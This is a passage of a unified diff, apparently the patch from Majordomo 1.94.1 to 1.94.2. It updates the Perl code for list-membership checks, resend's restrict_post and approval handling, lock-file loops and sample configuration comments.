if ( ! -e $log_file ) { # log file may not exist, check dir perms.
- local($dir) = $log_file =~ m@^(/\S+/)@;
+ local($dir);
+ ($dir) = $log_file =~ m@^(/\S+)/@;
if ( ! -w $dir ) {
$err .= "Unable to create log file in $dir, check permissions.\n"; #
}
@@ -515,8 +516,8 @@
# Deal with unbalanced brackets or parenthesis in an address.
$temp = $_;
- # Nuke anything within quotes. Placate Emacs -------v
- 1 while $temp =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"]|\\.|$)*\"?/$1/g;
+ # Nuke anything within quotes.
+ 1 while $temp =~ s/(^|([^\\\"]|\\.)+)\"(([^\\\"]|\\.)*|$)\"?/$1/g;
# Remove nested parentheses " <- placate emacs' highlighting
1 while $temp =~ s/\([^\(\)]*\)//g;
@@ -707,27 +708,30 @@
sub main'is_list_member {
local($subscriber, $listdir, $clean_list) = @_;
- local($matches);
+ local($matches) = 0;
local(*LIST);
local($_);
print STDERR "is_list_member: enter\n" if $DEBUG;
- open(LIST, "$listdir/$clean_list")
- || &main'abort("Can't read $listdir/$clean_list: $!"); #'"";
-
- print STDERR "is_list_member: checking $listdir/$clean_list for $subscriber\n"
- if $DEBUG;
-
- while (<LIST>) {
- if (&main'addr_match($subscriber, $_,
- (&main'cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) {
- $matches++;
+ $clean_list = "$listdir/$clean_list" if $listdir;
+ print STDERR "is_list_member: checking $clean_list for $subscriber\n"
+ if $DEBUG;
+ if (open(LIST, $clean_list)) {
+ while (<LIST>) {
+ if (&main'addr_match($subscriber, $_,
+ (&main'cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) {
+ $matches++;
+ last;
+ }
}
+ close(LIST);
+ }
+ else {
+ &main'bitch("Can't read $clean_list: $!"); #'"";
}
- close(LIST);
- print STDERR "is_list_member: exit\n" if $DEBUG;
+ print STDERR "is_list_member: exit $matches\n" if $DEBUG;
return($matches);
}
@@ -783,7 +787,8 @@
} else {
$altlist = "$clean_list-digest";
}
- @lists = ($clean_list,$altlist);
+ @lists = ($clean_list);
+ push(@lists, $altlist) if -e "$listdir/$altlist";
}
print STDERR "access_check: checking lists " , join(', ', @lists), "\n"
@@ -791,8 +796,8 @@
$total = 0;
foreach $list (@lists) {
- next unless (-e "$listdir/$list");
- $total += &main'is_list_member($subscriber, $listdir, $list);
+ $list = "$listdir/$list" unless ($list =~ m|^/|);
+ $total += &main'is_list_member($subscriber, "", $list);
}
print STDERR "access_check: exit\n" if $DEBUG;
return $total;
diff -u ./majordomo_version.pl ../majordomo-1.94.2/majordomo_version.pl
--- ./majordomo_version.pl Sun Apr 27 17:36:36 1997
+++ ../majordomo-1.94.2/majordomo_version.pl Sun Apr 27 17:37:56 1997
@@ -1,5 +1,5 @@
-# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.18 1996/11/22 17:30:58 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.24 1997/04/27 15:05:38 cwilson Exp $
-$majordomo_version = "1.94.1";
+$majordomo_version = "1.94.2";
1;
Common subdirectories: ./man and ../majordomo-1.94.2/man
diff -u ./resend ../majordomo-1.94.2/resend
--- ./resend Sun Apr 27 17:36:37 1997
+++ ../majordomo-1.94.2/resend Sun Apr 27 17:37:57 1997
@@ -1,12 +1,12 @@
#!/bin/perl
-# $Modified: Mon Dec 23 14:59:36 1996 by cwilson $
+# $Modified: Wed Apr 2 14:16:55 1997 by cwilson $
# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by
# permission only.
#
# $Source: /sources/cvsrepos/majordomo/resend,v $
-# $Revision: 1.80 $
-# $Date: 1996/12/23 15:04:45 $
+# $Revision: 1.85 $
+# $Date: 1997/04/02 14:04:48 $
# $Author: cwilson $
# $State: Exp $
#
@@ -133,6 +133,11 @@
open (STDERR, ">>$TMPDIR/resend.debug");
}
+# XXX some standard way of setting defaults needs to be done..
+#
+$MAX_HEADER_LINE_LENGTH = $MAX_HEADER_LINE_LENGTH || 128;
+$MAX_TOTAL_HEADER_LENGTH = $MAX_TOTAL_HEADER_LENGTH || 1024;
+
print STDERR "$0 [$$]: starting.\n" if $DEBUG;
if ( ! @ARGV) {
@@ -191,16 +196,6 @@
&set_abort_addr($sender);
&set_log($log, $opt_h, "resend", $opt_l);
-# if approve_passwd (or -a) starts with a leading /, there is a file
-# that holds the password.
-#
-if (defined($opt_a)) {
- if ($opt_a =~ /^\//) {
- open(PWD, $opt_a) || die("resend: open(PWD, \"$opt_a\"): $!");
- $opt_a = &chop_nl(<PWD>);
- }
-}
-
if (defined($opt_A) && ! defined($opt_a)) {
die("resend: must also specify '-a passwd' if using '-A' flag");
}
@@ -460,7 +455,7 @@
local($footer) =
&config'substitute_values(
$config_opts{$opt_l,"message_footer"}, $opt_l); #'
- $footer =~ s/\001/\n/g;
+ $footer =~ s/\001|$/\n/g;
print OUT $footer;
}
@@ -523,7 +518,11 @@
#
close(MAILIN);
unlink(&fileglob("$TMPDIR", "^resend\.$$\.")) || &abort("Error unlinking temp files: $!");
-close(MAILOUT) || &abort("Mailer $sendmail_cmd exited unexpectedly with error $?");
+close(MAILOUT) || do {
+ $? >>= 8;
+ &abort("Mailer $sendmail_cmd exited unexpectedly with error $?")
+ unless ($sendmail_cmd =~ /sendmail/ && $? == $EX_NOUSER);
+};
# Seeya.
#
@@ -552,45 +551,18 @@
# [[[ Scary, I just realized that !@$#% is almost valid perl... ]]]
local(@files) = split (/[:\s]+/, $opt_I);
- RESTRICT:
foreach $file (@files) {
# add $listdir if not explicitly set.
#
- $file = "$listdir/$file" if ($file !~ /^\//);
-
- open ($file, "$file")
- || do {
- &bitch("Majordomo couldn't open the restrict_post file\n" .
- "\"$file\" \n for the list \"$opt_l\".\nThis should be fixed.");
- next RESTRICT;
- };
-
- # Check the from address. To Quote:
- # "Note that this is not guaranteed to contribute to the readability of your program. "
- #
- @output = grep (
- &addr_match($from, $_,
- (&main'cf_ck_bool($opt_l,"mungedomain") #';
- ? 2
- : undef)), <$file>);
-
- if ( $#output != -1 ) { # found a match.
- close ($file); # tidy up
- return ();
- }
+ $file = "$listdir/$file" unless ($file =~ m|^/|);
- seek( $file, 0, 0 ); # rewind
-
- # No match, so check the reply-to address if set.
+ # Return a null message if the sender (from the From: or
+ # Reply-To: headers) is found
#
- if ( defined($reply_to)
- && $reply_to ne $from) { # ie, don't bother if reply-to == from
- @output = grep (&addr_match($reply_to, $_), <$file>);
- }
-
- close ($file);
-
- return if ( $#output != -1 );
+ return "" if &is_list_member($from, "", $file) ||
+ (defined $reply_to &&
+ $reply_to ne $from &&
+ &is_list_member($reply_to, "", $file));
}
# We only get here if nothing matches.
@@ -646,7 +618,7 @@
print STDERR "$0: parse_header: [$.] administrative_header check\n"
if $DEBUG;
- if ($#admin_headers >= $[ && !$approved &&
+ if ($#admin_headers >= $[ && !$approved && defined($opt_s) &&
eval $is_admin_header) {
$gonna_bounce .= "Admin request: $taboo ";
print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG;
@@ -674,8 +646,10 @@
$approved = &chop_nl($1);
if ($approved ne $opt_a # check the p/w given against approve_passwd
&& !(&main'valid_passwd($listdir, $opt_l, $approved))) { # and also against admin_passwd ')
- $gonna_bounce .= "Invalid 'Approved:' header ";
- print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG;
+ if (defined($opt_A)) { # bounce only if list is moderated
+ $gonna_bounce .= "Invalid 'Approved:' header ";
+ print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG;
+ }
undef $approved;
} else {
# reset the bounce counter, so that we return cleanly.
@@ -777,7 +751,7 @@
if ( $config_opts{$opt_l,"message_headers"} ne '' ) {
local($headers) = &config'substitute_values (
$config_opts{$opt_l,"message_headers"}, $opt_l);#';
- $headers =~ s/\001/\n/g;
+ $headers =~ s/\001|$/\n/g;
print OUT $headers;
}
print STDERR "$0: parse_header: returning with '$gonna_bounce'\n" if $DEBUG;
diff -u ./sample.cf ../majordomo-1.94.2/sample.cf
--- ./sample.cf Sun Apr 27 17:36:41 1997
+++ ../majordomo-1.94.2/sample.cf Sun Apr 27 17:38:03 1997
@@ -84,13 +84,13 @@
#
#$max_loadavg = 10; # Choose the maximum allowed load
#
-#$uptime = `/usr/bin/uptime` if -x </usr/bin/uptime>; # Get system uptime
-#$uptime = `/usr/bsd/uptime` if -x </usr/bsd/uptime>; # or uptime is over here.
+#$uptime = `/usr/bin/uptime` if -x '/usr/bin/uptime'; # Get system uptime
+#$uptime = `/usr/bsd/uptime` if -x '/usr/bsd/uptime'; # or uptime is over here.
#
#($avg_1_minute, $avg_5_minutes, $avg_15_minutes) =
# $uptime =~ /average:\s+(\S+),\s+(\S+),\s+(\S+)/;
#
-#exit 75 if ($avg_15_minute >= $max_loadavg); # E_TEMPFAIL
+#exit 75 if ($avg_15_minutes >= $max_loadavg); # E_TEMPFAIL
#
# Set the default subscribe policy for new lists here.
@@ -107,7 +107,16 @@
# @ sign (meaning that it's headed to an smtp->x400 gateway, as well
# as the 'c=' and 'a[dm]=' parts, which mean something as well.
#
+# If you will be receiving x400 style return addresses that do not have
+# an @ sign in them indicating an smtp->x400 gateway, set $no_x400at to 1.
+# Otherwise, leave $no_x400 at 0.
+#
$no_x400at = 0;
+#
+# If you will be receiving x400 addresses without the c= or a[dm]= parts
+# set the $no_true_x400 variable to 1. This will disable checking for
+# "c=" and "a[dm]=" pieces.
+#
$no_true_x400 = 0;
@@ -227,6 +236,7 @@
/^subject:\s*help\b/i
/^subject:\s.*\bchange\b.*\baddress\b/i
/^subject:\s*request\b(.*\b)?addition\b/i
+/^subject:\s*cancel\b/i
END
# Common things that people send to the wrong address.
@@ -239,6 +249,7 @@
# each new majordomo command.
#
$admin_body = <<'END';
+/\bcancel\b/i
/\badd me\b/i
/\bdelete me\b/i
/\bremove\s+me\b/i
@@ -282,6 +293,7 @@
/^subject:\s*Returned mail\b/i
/^subject:\s*unable to deliver mail\b/i
/^subject:\s.*\baway from my mail\b/i
+/^subject:\s*Autoreply/i
END
# Taboo body contents to catch and forward to the approval address
@@ -298,7 +310,7 @@
# Majordomo will not send replies to addresses which match this.
# The match is done case-insensitively.
-$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo)\@';
+$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo|listproc)\@';
1;
-# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.28 1996/12/23 15:05:15 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.33 1997/04/27 14:56:45 cwilson Exp $
diff -u ./shlock.pl ../majordomo-1.94.2/shlock.pl
--- ./shlock.pl Sun Apr 27 17:36:37 1997
+++ ../majordomo-1.94.2/shlock.pl Sun Apr 27 17:37:57 1997
@@ -7,16 +7,20 @@
package shlock;
require 'majordomo.pl'; # For bitch() and abort()
-sub alert { &main'bitch(@_); }
-
-$shlock_debug = 0;
+# These can be predefined elsewhere, e.g. majordomo.cf
+$waittime = 600 unless $waittime;
+$shlock_debug = 0 unless $shlock_debug;
+$warncount = 20 unless $warncount;
+
+sub alert {
+ &main'bitch(@_);
+ &main'abort("shlock: too many warnings") unless --$warncount;
+}
$EPERM = 1;
$ESRCH = 3;
$EEXIST = 17;
-$waittime = 600 if !$waittime; # can be set before the require.
-
# Lock a process via lockfile.
#
sub main'shlock {
@@ -27,16 +31,16 @@
print STDERR "trying lock '$file' for pid $$\n" if $shlock_debug;
return(undef) unless ($tmp = &extant_file($file));
- while (1) {
+ { # redo-controlled loop
unless (link($tmp, $file)) {
if ($! == $EEXIST) {
print STDERR "lock '$file' already exists\n" if $shlock_debug;
if (&check_lock($file)) {
print STDERR "extant lock is valid\n" if $shlock_debug;
- last;
} else {
print STDERR "lock is invalid; removing\n" if $shlock_debug;
unlink($file); # no message because it might be gone by now
+ redo;
}
} else {
&alert("shlock: link('$tmp', '$file'): $!");
@@ -45,7 +49,6 @@
print STDERR "got lock '$file'\n" if $shlock_debug;
$retcode = 1;
}
- last;
}
unlink($tmp) || &alert("shlock: unlink('$file'): $!");
@@ -182,10 +185,10 @@
if (! -e $tempdir) {
&main'abort("shlock: '$tempdir' does not exist");
}
- elsif (! -d $tempdir) {
+ elsif (! -d _) {
&main'abort("shlock: '$tempdir' is not a directory\n");
}
- elsif (! -w $tempdir) {
+ elsif (! -w _) {
&main'abort("shlock: '$tempdir' is not writable by UID $> GID",
(split(" ", $) ))[0], "\n");
}
@@ -252,7 +255,7 @@
print STDERR "checking extant lock '$file'\n" if $shlock_debug;
unless (open(FILE, "$file")) {
- &alert("shlock: open('$file'): $!");
+ &alert("shlock: open('$file'): $!") if $shlock_debug;
return 1;
}
@@ -281,10 +284,11 @@
}
print STDERR "temporary filename '$tempname'\n" if $shlock_debug;
- while (1) {
+ { # redo-controlled loop
if ( -e $tempname ) {
print STDERR "file '$tempname' exists\n" if $shlock_debug;
- unlink($tempname) || &alert("shlock: unlink('$tempname'): $!");
+ unlink($tempname); # no message because it might be gone by now.
+ redo;
}
elsif (! &main'open_temp(FILE, $tempname)) {
print STDERR "can't create temporary file '$tempname': $!"
@@ -291,7 +295,6 @@
if $shlock_debug;
return(undef);
}
- last;
}
unless (print FILE "$$\n") {